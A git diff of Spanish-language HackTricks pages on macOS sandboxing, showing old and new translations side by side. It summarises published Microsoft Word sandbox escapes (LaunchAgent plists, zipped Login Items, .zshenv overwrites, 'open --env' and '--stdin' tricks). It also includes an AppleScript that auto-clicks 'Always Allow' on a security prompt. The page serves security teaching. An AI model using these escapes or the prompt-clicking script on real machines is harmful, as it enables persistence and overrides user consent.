La [**herramienta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) puede verificar si un PID puede realizar una determinada acción:
La [**herramienta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) puede verificar si un PID puede realizar una cierta acción:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
sbtool <pid> all
```
### Perfiles SBPL personalizados en aplicaciones de la App Store
### Custom SBPL en aplicaciones de la App Store
Podría ser posible para las empresas hacer que sus aplicaciones se ejecuten **con perfiles de Sandbox personalizados** (en lugar del predeterminado). Necesitan usar el permiso **`com.apple.security.temporary-exception.sbpl`** que debe ser autorizado por Apple.
Podría ser posible que las empresas hicieran que sus aplicaciones funcionaran **con perfiles de Sandbox personalizados** (en lugar de con el predeterminado). Necesitan usar la autorización **`com.apple.security.temporary-exception.sbpl`** que debe ser autorizada por Apple.
Es posible verificar la definición de este permiso en **`/System/Library/Sandbox/Profiles/application.sb:`**
Es posible verificar la definición de esta autorización en **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -261,18 +262,19 @@ Es posible verificar la definición de este permiso en **`/System/Library/Sandbo
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Esto **evaluará la cadena después de este permiso** como un perfil de Sandbox.
Esto **evaluará la cadena después de este derecho** como un perfil de Sandbox.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Depuración del Sandbox predeterminado de macOS
# macOS Default Sandbox Debug
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
En esta página puedes encontrar cómo crear una aplicación para lanzar comandos arbitrarios desde dentro del sandbox predeterminado de macOS:
@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. Definir los permisos
3. Definir los derechos
{% tabs %}
{% tab title="sandbox" %}
@ -110,7 +111,7 @@ EOF
{% endtab %}
{% endtabs %}
4. Firmar la aplicación (necesitas crear un certificado en el llavero)
4. Firma la aplicación (necesitas crear un certificado en el llavero)
```bash
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
# An d in case you need this in the future
codesign --remove-signature SandboxedShellApp.app
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,76 +1,78 @@
# Saltos de la caja de arena de Word en macOS
# Bypass del Sandbox de Office en macOS
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
### Salto de la caja de arena de Word a través de Agentes de Inicio
### Bypass del Sandbox de Word a través de Launch Agents
La aplicación utiliza una **Caja de Arena personalizada** utilizando el permiso **`com.apple.security.temporary-exception.sbpl`** y esta caja de arena personalizada permite escribir archivos en cualquier lugar siempre que el nombre del archivo comience con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
La aplicación utiliza un **Sandbox personalizado** usando el derecho **`com.apple.security.temporary-exception.sbpl`** y este sandbox personalizado permite escribir archivos en cualquier lugar siempre que el nombre del archivo comience con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Por lo tanto, el escape fue tan fácil como **escribir un `plist`** de LaunchAgent en `~/Library/LaunchAgents/~$escape.plist`.
Por lo tanto, escapar fue tan fácil como **escribir un `plist`** LaunchAgent en `~/Library/LaunchAgents/~$escape.plist`.
Consulta el [**informe original aquí**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
Revisa el [**informe original aquí**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
### Salto de la caja de arena de Word a través de Elementos de Inicio y zip
### Bypass del Sandbox de Word a través de Login Items y zip
Recuerda que a partir del primer escape, Word puede escribir archivos arbitrarios cuyo nombre comienza con `~$`, aunque después del parche de la vulnerabilidad anterior no era posible escribir en `/Library/Application Scripts` o en `/Library/LaunchAgents`.
Recuerda que desde el primer escape, Word puede escribir archivos arbitrarios cuyos nombres comiencen con `~$`, aunque después del parche de la vulnerabilidad anterior no era posible escribir en `/Library/Application Scripts` o en `/Library/LaunchAgents`.
Se descubrió que desde dentro de la caja de arena es posible crear un **Elemento de Inicio** (aplicaciones que se ejecutarán cuando el usuario inicie sesión). Sin embargo, estas aplicaciones **no se ejecutarán a menos que** estén **notarizadas** y no es **posible agregar argumentos** (por lo que no se puede simplemente ejecutar un shell inverso usando **`bash`**).
Se descubrió que desde dentro del sandbox es posible crear un **Login Item** (aplicaciones que se ejecutarán cuando el usuario inicie sesión). Sin embargo, estas aplicaciones **no se ejecutarán a menos que** estén **notarizadas** y **no es posible agregar argumentos** (por lo que no puedes simplemente ejecutar un shell inverso usando **`bash`**).
A partir del escape anterior de la caja de arena, Microsoft deshabilitó la opción de escribir archivos en `~/Library/LaunchAgents`. Sin embargo, se descubrió que si se coloca un **archivo zip como Elemento de Inicio**, el `Utilidad de Archivo` simplemente lo **descomprimirá** en su ubicación actual. Entonces, como por defecto la carpeta `LaunchAgents` de `~/Library` no se crea, fue posible **comprimir un plist en `LaunchAgents/~$escape.plist`** y **colocar** el archivo zip en **`~/Library`** para que al descomprimirlo alcance el destino de persistencia.
Desde el bypass anterior del Sandbox, Microsoft deshabilitó la opción de escribir archivos en `~/Library/LaunchAgents`. Sin embargo, se descubrió que si pones un **archivo zip como Login Item**, el `Archive Utility` simplemente **descomprimirá** en su ubicación actual. Así que, debido a que por defecto la carpeta `LaunchAgents` de `~/Library` no se crea, fue posible **comprimir un plist en `LaunchAgents/~$escape.plist`** y **colocar** el archivo zip en **`~/Library`** para que al descomprimirlo alcance el destino de persistencia.
Consulta el [**informe original aquí**](https://objective-see.org/blog/blog\_0x4B.html).
Revisa el [**informe original aquí**](https://objective-see.org/blog/blog\_0x4B.html).
### Salto de la caja de arena de Word a través de Elementos de Inicio y .zshenv
### Bypass del Sandbox de Word a través de Login Items y .zshenv
(Recuerda que a partir del primer escape, Word puede escribir archivos arbitrarios cuyo nombre comienza con `~$`).
(Recuerda que desde el primer escape, Word puede escribir archivos arbitrarios cuyos nombres comiencen con `~$`).
Sin embargo, la técnica anterior tenía una limitación, si la carpeta **`~/Library/LaunchAgents`** existe porque otro software la creó, fallaría. Por lo tanto, se descubrió una cadena de Elementos de Inicio diferente para esto.
Sin embargo, la técnica anterior tenía una limitación, si la carpeta **`~/Library/LaunchAgents`** existe porque algún otro software la creó, fallaría. Así que se descubrió una cadena diferente de Login Items para esto.
Un atacante podría crear los archivos **`.bash_profile`** y **`.zshenv`** con el payload para ejecutar y luego comprimirlos y **escribir el zip en la carpeta del usuario** de la víctima: **`~/~$escape.zip`**.
Un atacante podría crear los archivos **`.bash_profile`** y **`.zshenv`** con la carga útil para ejecutar y luego comprimirlos y **escribir el zip en la** carpeta del usuario de la víctima: **`~/~$escape.zip`**.
Luego, agregar el archivo zip a los **Elementos de Inicio** y luego la aplicación **`Terminal`**. Cuando el usuario vuelva a iniciar sesión, el archivo zip se descomprimirá en los archivos del usuario, sobrescribiendo **`.bash_profile`** y **`.zshenv`** y por lo tanto, el terminal ejecutará uno de estos archivos (dependiendo de si se usa bash o zsh).
Luego, agregar el archivo zip a los **Login Items** y luego la aplicación **`Terminal`**. Cuando el usuario vuelva a iniciar sesión, el archivo zip se descomprimiría en los archivos del usuario, sobrescribiendo **`.bash_profile`** y **`.zshenv`** y, por lo tanto, el terminal ejecutará uno de estos archivos (dependiendo de si se usa bash o zsh).
Consulta el [**informe original aquí**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
Revisa el [**informe original aquí**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
### Salto de la caja de arena de Word con Open y variables de entorno
### Bypass del Sandbox de Word con Open y variables de entorno
Desde procesos en la caja de arena, todavía es posible invocar otros procesos utilizando la utilidad **`open`**. Además, estos procesos se ejecutarán **dentro de su propia caja de arena**.
Desde procesos en sandbox todavía es posible invocar otros procesos usando la utilidad **`open`**. Además, estos procesos se ejecutarán **dentro de su propio sandbox**.
Se descubrió que la utilidad open tiene la opción **`--env`** para ejecutar una aplicación con **variables de entorno específicas**. Por lo tanto, fue posible crear el archivo **`.zshenv` dentro** de una carpeta **dentro** de la **caja de arena** y luego usar `open` con `--env` configurando la variable **`HOME`** a esa carpeta abriendo la aplicación `Terminal`, que ejecutará el archivo `.zshenv` (por alguna razón también fue necesario establecer la variable `__OSINSTALL_ENVIROMENT`).
Se descubrió que la utilidad open tiene la opción **`--env`** para ejecutar una aplicación con **variables de entorno específicas**. Por lo tanto, fue posible crear el **archivo `.zshenv`** dentro de una carpeta **dentro** del **sandbox** y usar `open` con `--env` configurando la **variable `HOME`** a esa carpeta abriendo esa aplicación `Terminal`, que ejecutará el archivo `.zshenv` (por alguna razón también fue necesario establecer la variable `__OSINSTALL_ENVIROMENT`).
Consulta el [**informe original aquí**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
Revisa el [**informe original aquí**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Salto de la caja de arena de Word con Open y stdin
### Bypass del Sandbox de Word con Open y stdin
La utilidad **`open`** también admitía el parámetro **`--stdin`** (y después del escape anterior ya no era posible usar `--env`).
La utilidad **`open`** también soportaba el parámetro **`--stdin`** (y después del bypass anterior ya no era posible usar `--env`).
La cuestión es que incluso si **`python`** estaba firmado por Apple, **no ejecutará** un script con el atributo **`quarantine`**. Sin embargo, era posible pasarle un script desde stdin para que no verifique si estaba en cuarentena o no:&#x20;
La cuestión es que incluso si **`python`** estaba firmado por Apple, **no ejecutará** un script con el atributo **`quarantine`**. Sin embargo, fue posible pasarle un script desde stdin, por lo que no verificará si estaba en cuarentena o no:&#x20;
1. Dejar un archivo **`~$exploit.py`** con comandos arbitrarios de Python.
2. Ejecutar _open_ **`stdin='~$exploit.py' -a Python`**, que ejecuta la aplicación Python con nuestro archivo dejado sirviendo como su entrada estándar. Python ejecuta nuestro código felizmente y, como es un proceso secundario de _launchd_, no está sujeto a las reglas de la caja de arena de Word.
1. Dejar un archivo **`~$exploit.py`** con comandos de Python arbitrarios.
2. Ejecutar _open_ **`stdin='~$exploit.py' -a Python`**, que ejecuta la aplicación Python con nuestro archivo dejado sirviendo como su entrada estándar. Python ejecuta felizmente nuestro código, y dado que es un proceso hijo de _launchd_, no está sujeto a las reglas del sandbox de Word.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# Scripts de Apple en macOS
# macOS Apple Scripts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Scripts de Apple
## Apple Scripts
Es un lenguaje de script utilizado para la automatización de tareas **interactuando con procesos remotos**. Facilita **solicitar a otros procesos que realicen algunas acciones**. El **malware** puede abusar de estas funciones para explotar las funciones exportadas por otros procesos.\
Por ejemplo, un malware podría **inyectar código JS arbitrario en las páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos solicitados al usuario.
Es un lenguaje de scripting utilizado para la automatización de tareas **interactuando con procesos remotos**. Facilita bastante **pedir a otros procesos que realicen algunas acciones**. **El malware** puede abusar de estas características para aprovechar funciones exportadas por otros procesos.\
Por ejemplo, un malware podría **inyectar código JS arbitrario en páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos permitidos solicitados al usuario;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
```
Aquí tienes algunos ejemplos: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Encuentra más información sobre malware que utiliza AppleScripts [**aquí**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Encuentra más información sobre malware usando applescripts [**aquí**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Los scripts de Apple pueden ser fácilmente "**compilados**". Estas versiones pueden ser fácilmente "**descompiladas**" con `osadecompile`
Los scripts de Apple pueden ser fácilmente "**compilados**". Estas versiones pueden ser fácilmente "**decompiladas**" con `osadecompile`
Sin embargo, estos scripts también pueden ser **exportados como "Solo lectura"** (a través de la opción "Exportar..."):
@ -35,20 +36,21 @@ Sin embargo, estos scripts también pueden ser **exportados como "Solo lectura"*
file mal.scpt
mal.scpt: AppleScript compiled
```
En este caso, el contenido no se puede descompilar incluso con `osadecompile`.
y en este caso el contenido no puede ser descompilado incluso con `osadecompile`
Sin embargo, todavía hay algunas herramientas que se pueden utilizar para entender este tipo de ejecutables, [**lee esta investigación para más información**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). La herramienta [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) será muy útil para entender cómo funciona el script.
Sin embargo, todavía hay algunas herramientas que se pueden usar para entender este tipo de ejecutables, [**lee esta investigación para más información**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). La herramienta [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) será muy útil para entender cómo funciona el script.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Cargas útiles de macOS TCC
# macOS TCC Payloads
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
